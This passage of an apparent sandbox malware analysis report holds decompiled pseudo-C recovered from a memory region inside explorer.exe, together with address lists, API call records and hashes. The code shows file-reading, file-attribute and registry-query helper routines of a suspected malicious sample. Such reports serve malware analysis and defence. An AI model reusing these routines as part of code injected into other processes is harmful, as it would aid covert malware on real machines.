                                                                                                                                                                                                                                                                                                      						_v20 = 0x40;
                                                                                                                                                                                                                                                                                                      						if(_a12 != 0) {
                                                                                                                                                                                                                                                                                                      							_v20 = 1;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						E010F16E0();
                                                                                                                                                                                                                                                                                                      						_t57 = NtCreateFile( &_v12, 0x100100,  &_v60,  &_v28, 0, 0x80, 2, 1, _v20, 0, 0); // executed
                                                                                                                                                                                                                                                                                                      						_v8 = _t57;
                                                                                                                                                                                                                                                                                                      						if(_v8 >= 0) {
                                                                                                                                                                                                                                                                                                      							_push(8);
                                                                                                                                                                                                                                                                                                      							_push(0);
                                                                                                                                                                                                                                                                                                      							_push( &_v28);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x2c))))();
                                                                                                                                                                                                                                                                                                      							_push(0x28);
                                                                                                                                                                                                                                                                                                      							_push(0);
                                                                                                                                                                                                                                                                                                      							_push( &_v100);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x2c))))();
                                                                                                                                                                                                                                                                                                      							_v68 = _a8;
                                                                                                                                                                                                                                                                                                      							_push(4);
                                                                                                                                                                                                                                                                                                      							_push(0x28);
                                                                                                                                                                                                                                                                                                      							_push( &_v100);
                                                                                                                                                                                                                                                                                                      							_push( &_v28);
                                                                                                                                                                                                                                                                                                      							_push(_v12);
                                                                                                                                                                                                                                                                                                      							_t70 =  *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0xd0))))(); // executed
                                                                                                                                                                                                                                                                                                      							_v8 = _t70;
                                                                                                                                                                                                                                                                                                      							if(_v8 >= 0) {
                                                                                                                                                                                                                                                                                                      								_v16 = 1;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      							_push(_v12);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *((intOrPtr*)(E010F16E0()))))();
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						_push(_v32);
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						_push( *((intOrPtr*)(E010FD560() + 0x18)));
                                                                                                                                                                                                                                                                                                      						 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x28))))();
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					return _v16;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      			}




















                                                                                                                                                                                                                                                                                                      0x010f63c6
                                                                                                                                                                                                                                                                                                      0x010f63d1
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010f63e1
                                                                                                                                                                                                                                                                                                      0x010f63e1
                                                                                                                                                                                                                                                                                                      0x010f63e3
                                                                                                                                                                                                                                                                                                      0x010f63e8
                                                                                                                                                                                                                                                                                                      0x010f63ec
                                                                                                                                                                                                                                                                                                      0x010f63ff
                                                                                                                                                                                                                                                                                                      0x010f6405
                                                                                                                                                                                                                                                                                                      0x010f640c
                                                                                                                                                                                                                                                                                                      0x010f6413
                                                                                                                                                                                                                                                                                                      0x010f641d
                                                                                                                                                                                                                                                                                                      0x010f6420
                                                                                                                                                                                                                                                                                                      0x010f6427
                                                                                                                                                                                                                                                                                                      0x010f642e
                                                                                                                                                                                                                                                                                                      0x010f6430
                                                                                                                                                                                                                                                                                                      0x010f6435
                                                                                                                                                                                                                                                                                                      0x010f643e
                                                                                                                                                                                                                                                                                                      0x010f6440
                                                                                                                                                                                                                                                                                                      0x010f6447
                                                                                                                                                                                                                                                                                                      0x010f6452
                                                                                                                                                                                                                                                                                                      0x010f6454
                                                                                                                                                                                                                                                                                                      0x010f6454
                                                                                                                                                                                                                                                                                                      0x010f647f
                                                                                                                                                                                                                                                                                                      0x010f648a
                                                                                                                                                                                                                                                                                                      0x010f648c
                                                                                                                                                                                                                                                                                                      0x010f6493
                                                                                                                                                                                                                                                                                                      0x010f6495
                                                                                                                                                                                                                                                                                                      0x010f6497
                                                                                                                                                                                                                                                                                                      0x010f649c
                                                                                                                                                                                                                                                                                                      0x010f64a5
                                                                                                                                                                                                                                                                                                      0x010f64a7
                                                                                                                                                                                                                                                                                                      0x010f64a9
                                                                                                                                                                                                                                                                                                      0x010f64ae
                                                                                                                                                                                                                                                                                                      0x010f64b7
                                                                                                                                                                                                                                                                                                      0x010f64bc
                                                                                                                                                                                                                                                                                                      0x010f64bf
                                                                                                                                                                                                                                                                                                      0x010f64c1
                                                                                                                                                                                                                                                                                                      0x010f64c6
                                                                                                                                                                                                                                                                                                      0x010f64ca
                                                                                                                                                                                                                                                                                                      0x010f64ce
                                                                                                                                                                                                                                                                                                      0x010f64da
                                                                                                                                                                                                                                                                                                      0x010f64dc
                                                                                                                                                                                                                                                                                                      0x010f64e3
                                                                                                                                                                                                                                                                                                      0x010f64e5
                                                                                                                                                                                                                                                                                                      0x010f64e5
                                                                                                                                                                                                                                                                                                      0x010f64ef
                                                                                                                                                                                                                                                                                                      0x010f64f7
                                                                                                                                                                                                                                                                                                      0x010f64f7
                                                                                                                                                                                                                                                                                                      0x010f64fc
                                                                                                                                                                                                                                                                                                      0x010f64fd
                                                                                                                                                                                                                                                                                                      0x010f6507
                                                                                                                                                                                                                                                                                                      0x010f6510
                                                                                                                                                                                                                                                                                                      0x010f6510
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010f6512

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtCreateFile.NTDLL(00000000,00100100,00000018,?,00000000,00000080,00000002,00000001,00000000,00000000,00000000), ref: 010F648A
                                                                                                                                                                                                                                                                                                      • NtSetInformationFile.NTDLL(00000000,?,?,00000028,00000004), ref: 010F64DA
                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000003.00000002.346236241.00000000010F0000.00000040.00000001.sdmp, Offset: 010F0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_3_2_10f0000_explorer.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: File$CreateInformation
                                                                                                                                                                                                                                                                                                      • String ID: @$@
                                                                                                                                                                                                                                                                                                      • API String ID: 249727407-149943524
                                                                                                                                                                                                                                                                                                      • Opcode ID: ce85a683ef9bee3af7eea2b6245f6597909b093eb48d084cc22a7b2e8c61ba74
                                                                                                                                                                                                                                                                                                      • Instruction ID: 5d1883a6af3601cd31f9f46345880b99d6ada27563a13790e89f343642e48bbc
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ce85a683ef9bee3af7eea2b6245f6597909b093eb48d084cc22a7b2e8c61ba74
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: DC411D75A40209EFEB14DF94CC4AFEE77B5AF48700F00815CE244AB1D0DBB5A944CB94
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 311 10f6520-10f6531 312 10f653b-10f6559 call 10f16e0 311->312 313 10f6533-10f6536 311->313 318 10f655f-10f65d7 call 10f16e0 * 2 NtCreateFile 312->318 319 10f6745 312->319 314 10f6748-10f674b 313->314 325 10f65dd-10f6630 call 10f16e0 318->325 326 10f672c-10f6740 call 10fd560 call 10f16e0 318->326 319->314 334 10f671f-10f6728 call 10f16e0 325->334 335 10f6636-10f6651 call 10f61c0 325->335 326->319 334->326 340 10f6657-10f6671 call 10f7460 335->340 341 10f6712-10f671b call 10f16e0 335->341 340->341 346 10f6677-10f66be call 10f16e0 * 2 NtReadFile 340->346 341->334 352 10f66db-10f66df 346->352 353 10f66c0-10f66d8 call 10f16e0 346->353 354 10f6706-10f670f call 10f7700 352->354 355 10f66e1-10f66e5 352->355 353->352 354->341 358 10f66ef-10f66f3 355->358 359 10f66e7-10f66ed 355->359 361 10f66fd-10f6704 358->361 362 10f66f5-10f66fb 358->362 359->358 361->341 362->361
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 52%
                                                                                                                                                                                                                                                                                                      			E010F6520(intOrPtr _a4, struct _GUID* _a8, intOrPtr* _a12) {
                                                                                                                                                                                                                                                                                                      				long _v8;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v12;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v16;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v20;
                                                                                                                                                                                                                                                                                                      				void* _v24;
                                                                                                                                                                                                                                                                                                      				long _v28;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v32;
                                                                                                                                                                                                                                                                                                      				void* _v36;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v40;
                                                                                                                                                                                                                                                                                                      				char _v44;
                                                                                                                                                                                                                                                                                                      				char _v52;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v56;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v60;
                                                                                                                                                                                                                                                                                                      				long _v64;
                                                                                                                                                                                                                                                                                                      				char* _v68;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v72;
                                                                                                                                                                                                                                                                                                      				void* _v76;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v80;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v84;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v88;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v92;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v96;
                                                                                                                                                                                                                                                                                                      				char _v100;
                                                                                                                                                                                                                                                                                                      				long _t85;
                                                                                                                                                                                                                                                                                                      				struct _GUID _t100;
                                                                                                                                                                                                                                                                                                      				long _t107;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v28 = 0;
                                                                                                                                                                                                                                                                                                      				if(_a4 == 0) {
                                                                                                                                                                                                                                                                                                      					return _v28;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				_push(0);
                                                                                                                                                                                                                                                                                                      				_push(0);
                                                                                                                                                                                                                                                                                                      				_push( &_v44);
                                                                                                                                                                                                                                                                                                      				_push(_a4);
                                                                                                                                                                                                                                                                                                      				if(( *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x170))))() & 0x000000ff) == 0) {
                                                                                                                                                                                                                                                                                                      					L19:
                                                                                                                                                                                                                                                                                                      					return _v28;
                                                                                                                                                                                                                                                                                                      				} else {
                                                                                                                                                                                                                                                                                                      					_v76 = 0x18;
                                                                                                                                                                                                                                                                                                      					_v72 = 0;
                                                                                                                                                                                                                                                                                                      					_v64 = 0x40;
                                                                                                                                                                                                                                                                                                      					_v68 =  &_v44;
                                                                                                                                                                                                                                                                                                      					_v60 = 0;
                                                                                                                                                                                                                                                                                                      					_v56 = 0;
                                                                                                                                                                                                                                                                                                      					_push(8);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push( &_v36);
                                                                                                                                                                                                                                                                                                      					 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x2c))))();
                                                                                                                                                                                                                                                                                                      					_v24 = 0;
                                                                                                                                                                                                                                                                                                      					E010F16E0();
                                                                                                                                                                                                                                                                                                      					_t85 = NtCreateFile( &_v24, 0x100001,  &_v76,  &_v36, 0, 0x80, 1, 1, 0x40, 0, 0); // executed
                                                                                                                                                                                                                                                                                                      					_v8 = _t85;
                                                                                                                                                                                                                                                                                                      					if(_v8 < 0) {
                                                                                                                                                                                                                                                                                                      						L18:
                                                                                                                                                                                                                                                                                                      						_push(_v40);
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						_push( *((intOrPtr*)(E010FD560() + 0x18)));
                                                                                                                                                                                                                                                                                                      						 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x28))))();
                                                                                                                                                                                                                                                                                                      						goto L19;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_v100 = 0x18;
                                                                                                                                                                                                                                                                                                      					_v96 = 0;
                                                                                                                                                                                                                                                                                                      					_v88 = 0;
                                                                                                                                                                                                                                                                                                      					_v92 = 0;
                                                                                                                                                                                                                                                                                                      					_v84 = 0;
                                                                                                                                                                                                                                                                                                      					_v80 = 0;
                                                                                                                                                                                                                                                                                                      					_v20 = 0;
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(1);
                                                                                                                                                                                                                                                                                                      					_push( &_v100);
                                                                                                                                                                                                                                                                                                      					_push(0x1f0003);
                                                                                                                                                                                                                                                                                                      					_push( &_v20);
                                                                                                                                                                                                                                                                                                      					_v8 =  *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x3c))))();
                                                                                                                                                                                                                                                                                                      					if(_v8 < 0) {
                                                                                                                                                                                                                                                                                                      						L17:
                                                                                                                                                                                                                                                                                                      						_push(_v24);
                                                                                                                                                                                                                                                                                                      						 *((intOrPtr*)( *((intOrPtr*)(E010F16E0()))))();
                                                                                                                                                                                                                                                                                                      						goto L18;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_push(_v32);
                                                                                                                                                                                                                                                                                                      					_v16 = E010F61C0(_v24, _v36);
                                                                                                                                                                                                                                                                                                      					if(_v16 != 0xffffffff) {
                                                                                                                                                                                                                                                                                                      						_v12 = 0;
                                                                                                                                                                                                                                                                                                      						_t100 = E010F7460(_v16); // executed
                                                                                                                                                                                                                                                                                                      						_v12 = _t100;
                                                                                                                                                                                                                                                                                                      						if(_v12 != 0) {
                                                                                                                                                                                                                                                                                                      							_push(8);
                                                                                                                                                                                                                                                                                                      							_push(0);
                                                                                                                                                                                                                                                                                                      							_push( &_v52);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x2c))))();
                                                                                                                                                                                                                                                                                                      							_push(0);
                                                                                                                                                                                                                                                                                                      							_push( &_v52);
                                                                                                                                                                                                                                                                                                      							_push(_v16);
                                                                                                                                                                                                                                                                                                      							_push(_v12);
                                                                                                                                                                                                                                                                                                      							_push( &_v36);
                                                                                                                                                                                                                                                                                                      							_push(0);
                                                                                                                                                                                                                                                                                                      							_push(0);
                                                                                                                                                                                                                                                                                                      							_push(_v20);
                                                                                                                                                                                                                                                                                                      							_push(_v24);
                                                                                                                                                                                                                                                                                                      							_t107 =  *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0xc4))))(); // executed
                                                                                                                                                                                                                                                                                                      							_v8 = _t107;
                                                                                                                                                                                                                                                                                                      							if(_v8 == 0x103) {
                                                                                                                                                                                                                                                                                                      								_push(0);
                                                                                                                                                                                                                                                                                                      								_push(0);
                                                                                                                                                                                                                                                                                                      								_push(_v20);
                                                                                                                                                                                                                                                                                                      								_v8 =  *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x48))))();
                                                                                                                                                                                                                                                                                                      								_v8 = _v36;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      							if(_v8 < 0) {
                                                                                                                                                                                                                                                                                                      								E010F7700(_v12, _v12);
                                                                                                                                                                                                                                                                                                      							} else {
                                                                                                                                                                                                                                                                                                      								if(_a8 != 0) {
                                                                                                                                                                                                                                                                                                      									 *_a8 = _v12;
                                                                                                                                                                                                                                                                                                      								}
                                                                                                                                                                                                                                                                                                      								if(_a12 != 0) {
                                                                                                                                                                                                                                                                                                      									 *_a12 = _v16;
                                                                                                                                                                                                                                                                                                      								}
                                                                                                                                                                                                                                                                                                      								_v28 = 1;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_push(_v20);
                                                                                                                                                                                                                                                                                                      					 *((intOrPtr*)( *((intOrPtr*)(E010F16E0()))))();
                                                                                                                                                                                                                                                                                                      					goto L17;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      			}





























                                                                                                                                                                                                                                                                                                      0x010f6526
                                                                                                                                                                                                                                                                                                      0x010f6531
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010f6533
                                                                                                                                                                                                                                                                                                      0x010f653b
                                                                                                                                                                                                                                                                                                      0x010f653d
                                                                                                                                                                                                                                                                                                      0x010f6542
                                                                                                                                                                                                                                                                                                      0x010f6546
                                                                                                                                                                                                                                                                                                      0x010f6559
                                                                                                                                                                                                                                                                                                      0x010f6745
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010f655f
                                                                                                                                                                                                                                                                                                      0x010f655f
                                                                                                                                                                                                                                                                                                      0x010f6566
                                                                                                                                                                                                                                                                                                      0x010f656d
                                                                                                                                                                                                                                                                                                      0x010f6577
                                                                                                                                                                                                                                                                                                      0x010f657a
                                                                                                                                                                                                                                                                                                      0x010f6581
                                                                                                                                                                                                                                                                                                      0x010f6588
                                                                                                                                                                                                                                                                                                      0x010f658a
                                                                                                                                                                                                                                                                                                      0x010f658f
                                                                                                                                                                                                                                                                                                      0x010f6598
                                                                                                                                                                                                                                                                                                      0x010f659a
                                                                                                                                                                                                                                                                                                      0x010f65c3
                                                                                                                                                                                                                                                                                                      0x010f65ce
                                                                                                                                                                                                                                                                                                      0x010f65d0
                                                                                                                                                                                                                                                                                                      0x010f65d7
                                                                                                                                                                                                                                                                                                      0x010f672c
                                                                                                                                                                                                                                                                                                      0x010f672f
                                                                                                                                                                                                                                                                                                      0x010f6730
                                                                                                                                                                                                                                                                                                      0x010f673a
                                                                                                                                                                                                                                                                                                      0x010f6743
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010f6743
                                                                                                                                                                                                                                                                                                      0x010f65dd
                                                                                                                                                                                                                                                                                                      0x010f65e4
                                                                                                                                                                                                                                                                                                      0x010f65eb
                                                                                                                                                                                                                                                                                                      0x010f65f2
                                                                                                                                                                                                                                                                                                      0x010f65f9
                                                                                                                                                                                                                                                                                                      0x010f6600
                                                                                                                                                                                                                                                                                                      0x010f6607
                                                                                                                                                                                                                                                                                                      0x010f660e
                                                                                                                                                                                                                                                                                                      0x010f6610
                                                                                                                                                                                                                                                                                                      0x010f6615
                                                                                                                                                                                                                                                                                                      0x010f6616
                                                                                                                                                                                                                                                                                                      0x010f661e
                                                                                                                                                                                                                                                                                                      0x010f6629
                                                                                                                                                                                                                                                                                                      0x010f6630
                                                                                                                                                                                                                                                                                                      0x010f671f
                                                                                                                                                                                                                                                                                                      0x010f6722
                                                                                                                                                                                                                                                                                                      0x010f672a
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010f672a
                                                                                                                                                                                                                                                                                                      0x010f6639
                                                                                                                                                                                                                                                                                                      0x010f664a
                                                                                                                                                                                                                                                                                                      0x010f6651
                                                                                                                                                                                                                                                                                                      0x010f6657
                                                                                                                                                                                                                                                                                                      0x010f6662
                                                                                                                                                                                                                                                                                                      0x010f666a
                                                                                                                                                                                                                                                                                                      0x010f6671
                                                                                                                                                                                                                                                                                                      0x010f6677
                                                                                                                                                                                                                                                                                                      0x010f6679
                                                                                                                                                                                                                                                                                                      0x010f667e
                                                                                                                                                                                                                                                                                                      0x010f6687
                                                                                                                                                                                                                                                                                                      0x010f6689
                                                                                                                                                                                                                                                                                                      0x010f668e
                                                                                                                                                                                                                                                                                                      0x010f6692
                                                                                                                                                                                                                                                                                                      0x010f6696
                                                                                                                                                                                                                                                                                                      0x010f669a
                                                                                                                                                                                                                                                                                                      0x010f669b
                                                                                                                                                                                                                                                                                                      0x010f669d
                                                                                                                                                                                                                                                                                                      0x010f66a2
                                                                                                                                                                                                                                                                                                      0x010f66a6
                                                                                                                                                                                                                                                                                                      0x010f66b2
                                                                                                                                                                                                                                                                                                      0x010f66b4
                                                                                                                                                                                                                                                                                                      0x010f66be
                                                                                                                                                                                                                                                                                                      0x010f66c0
                                                                                                                                                                                                                                                                                                      0x010f66c2
                                                                                                                                                                                                                                                                                                      0x010f66c7
                                                                                                                                                                                                                                                                                                      0x010f66d2
                                                                                                                                                                                                                                                                                                      0x010f66d8
                                                                                                                                                                                                                                                                                                      0x010f66d8
                                                                                                                                                                                                                                                                                                      0x010f66df
                                                                                                                                                                                                                                                                                                      0x010f670a
                                                                                                                                                                                                                                                                                                      0x010f66e1
                                                                                                                                                                                                                                                                                                      0x010f66e5
                                                                                                                                                                                                                                                                                                      0x010f66ed
                                                                                                                                                                                                                                                                                                      0x010f66ed
                                                                                                                                                                                                                                                                                                      0x010f66f3
                                                                                                                                                                                                                                                                                                      0x010f66fb
                                                                                                                                                                                                                                                                                                      0x010f66fb
                                                                                                                                                                                                                                                                                                      0x010f66fd
                                                                                                                                                                                                                                                                                                      0x010f66fd
                                                                                                                                                                                                                                                                                                      0x010f66df
                                                                                                                                                                                                                                                                                                      0x010f6671
                                                                                                                                                                                                                                                                                                      0x010f6715
                                                                                                                                                                                                                                                                                                      0x010f671d
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010f671d

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtCreateFile.NTDLL(00000000,00100001,00000018,?,00000000,00000080,00000001,00000001,00000040,00000000,00000000), ref: 010F65CE
                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000003.00000002.346236241.00000000010F0000.00000040.00000001.sdmp, Offset: 010F0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_3_2_10f0000_explorer.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: CreateFile
                                                                                                                                                                                                                                                                                                      • String ID: @
                                                                                                                                                                                                                                                                                                      • API String ID: 823142352-2766056989
                                                                                                                                                                                                                                                                                                      • Opcode ID: 8ec6385fdf124c193ecc9dbdf2330ef6df833cd47efd7be8e091ae12c6b9734a
                                                                                                                                                                                                                                                                                                      • Instruction ID: bd5b0185b43cd858951bc117ebc1705d1323553bc426be1d2f87a516e212da04
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8ec6385fdf124c193ecc9dbdf2330ef6df833cd47efd7be8e091ae12c6b9734a
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E061EAB5A00209EFDB14DFD4C896FEEB7B5BF48704F14815CE244AB690D7B5AA44CB90
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 365 10fb3c0-10fb3d1 366 10fb3d7-10fb41c call 10f16e0 * 2 NtQueryValueKey 365->366 367 10fb511-10fb517 365->367 366->367 373 10fb422-10fb435 call 10f7460 366->373 373->367 376 10fb43b-10fb460 call 10f16e0 NtQueryValueKey 373->376 379 10fb466-10fb473 376->379 380 10fb505-10fb509 call 10f7700 376->380 379->380 381 10fb479-10fb483 call 10f7460 379->381 384 10fb50e 380->384 385 10fb488-10fb492 381->385 384->367 386 10fb4fe 385->386 387 10fb494-10fb4b4 call 10f16e0 385->387 386->380 391 10fb4b6-10fb4bf 387->391 392 10fb4c1-10fb4c5 387->392 391->392 393 10fb4c7-10fb4cf 392->393 394 10fb4d1-10fb4da call 10f7700 392->394 396 10fb4dd-10fb4e1 393->396 394->396 398 10fb4ee-10fb4f2 396->398 399 10fb4e3-10fb4ec 396->399 398->386 400 10fb4f4-10fb4fc 398->400 399->398 400->386
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 95%
                                                                                                                                                                                                                                                                                                      			E010FB3C0(void* _a4, intOrPtr _a8, intOrPtr* _a12, intOrPtr* _a16, intOrPtr* _a20, intOrPtr* _a24) {
                                                                                                                                                                                                                                                                                                      				intOrPtr* _v8;
                                                                                                                                                                                                                                                                                                      				long _v12;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v16;
                                                                                                                                                                                                                                                                                                      				void* _v20;
                                                                                                                                                                                                                                                                                                      				void* _v24;
                                                                                                                                                                                                                                                                                                      				long _v28;
                                                                                                                                                                                                                                                                                                      				void* _v36;
                                                                                                                                                                                                                                                                                                      				long _t60;
                                                                                                                                                                                                                                                                                                      				void* _t61;
                                                                                                                                                                                                                                                                                                      				long _t65;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t68;
                                                                                                                                                                                                                                                                                                      				void* _t71;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t75;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t77;
                                                                                                                                                                                                                                                                                                      				void* _t98;
                                                                                                                                                                                                                                                                                                      				void* _t99;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v24 = 0;
                                                                                                                                                                                                                                                                                                      				if(_a4 == 0) {
                                                                                                                                                                                                                                                                                                      					L17:
                                                                                                                                                                                                                                                                                                      					return _v24;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				_push(_a8);
                                                                                                                                                                                                                                                                                                      				_push( &_v36);
                                                                                                                                                                                                                                                                                                      				 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x15c))))();
                                                                                                                                                                                                                                                                                                      				_v12 = 0;
                                                                                                                                                                                                                                                                                                      				E010F16E0();
                                                                                                                                                                                                                                                                                                      				_t60 = NtQueryValueKey(_a4,  &_v36, 2, 0, 0,  &_v12); // executed
                                                                                                                                                                                                                                                                                                      				_v28 = _t60;
                                                                                                                                                                                                                                                                                                      				if(_v28 != 0xc0000023) {
                                                                                                                                                                                                                                                                                                      					goto L17;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				_t61 = E010F7460(_v12); // executed
                                                                                                                                                                                                                                                                                                      				_t99 = _t98 + 4;
                                                                                                                                                                                                                                                                                                      				_v20 = _t61;
                                                                                                                                                                                                                                                                                                      				if(_v20 == 0) {
                                                                                                                                                                                                                                                                                                      					goto L17;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				_t82 =  *((intOrPtr*)(E010F16E0() + 0x100));
                                                                                                                                                                                                                                                                                                      				_t65 = NtQueryValueKey(_a4,  &_v36, 2, _v20, _v12,  &_v12); // executed
                                                                                                                                                                                                                                                                                                      				if(_t65 >= 0) {
                                                                                                                                                                                                                                                                                                      					_v8 = _v20;
                                                                                                                                                                                                                                                                                                      					if( *((intOrPtr*)(_v8 + 8)) != 0) {
                                                                                                                                                                                                                                                                                                      						_t82 = _v8;
                                                                                                                                                                                                                                                                                                      						_t68 = E010F7460( *((intOrPtr*)(_v8 + 8)) + 1); // executed
                                                                                                                                                                                                                                                                                                      						_t99 = _t99 + 4;
                                                                                                                                                                                                                                                                                                      						_v16 = _t68;
                                                                                                                                                                                                                                                                                                      						if(_v16 != 0) {
                                                                                                                                                                                                                                                                                                      							_t71 = E010F16E0();
                                                                                                                                                                                                                                                                                                      							_t82 =  *((intOrPtr*)(_t71 + 0x30));
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *((intOrPtr*)(_t71 + 0x30))))(_v16, _v8 + 0xc,  *((intOrPtr*)(_v8 + 8)));
                                                                                                                                                                                                                                                                                                      							if(_a16 != 0) {
                                                                                                                                                                                                                                                                                                      								_t77 = _v8;
                                                                                                                                                                                                                                                                                                      								_t82 =  *((intOrPtr*)(_t77 + 8));
                                                                                                                                                                                                                                                                                                      								 *_a16 =  *((intOrPtr*)(_t77 + 8));
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      							if(_a12 == 0) {
                                                                                                                                                                                                                                                                                                      								_t82 = _v16;
                                                                                                                                                                                                                                                                                                      								E010F7700(_v16, _v16);
                                                                                                                                                                                                                                                                                                      								_t99 = _t99 + 4;
                                                                                                                                                                                                                                                                                                      							} else {
                                                                                                                                                                                                                                                                                                      								 *_a12 = _v16;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      							if(_a20 != 0) {
                                                                                                                                                                                                                                                                                                      								_t75 = _v8;
                                                                                                                                                                                                                                                                                                      								_t82 =  *((intOrPtr*)(_t75 + 4));
                                                                                                                                                                                                                                                                                                      								 *_a20 =  *((intOrPtr*)(_t75 + 4));
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      							if(_a24 != 0) {
                                                                                                                                                                                                                                                                                                      								_t82 =  *_v8;
                                                                                                                                                                                                                                                                                                      								 *_a24 =  *_v8;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						_v24 = 1;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				E010F7700(_t82, _v20); // executed
                                                                                                                                                                                                                                                                                                      				goto L17;
                                                                                                                                                                                                                                                                                                      			}



















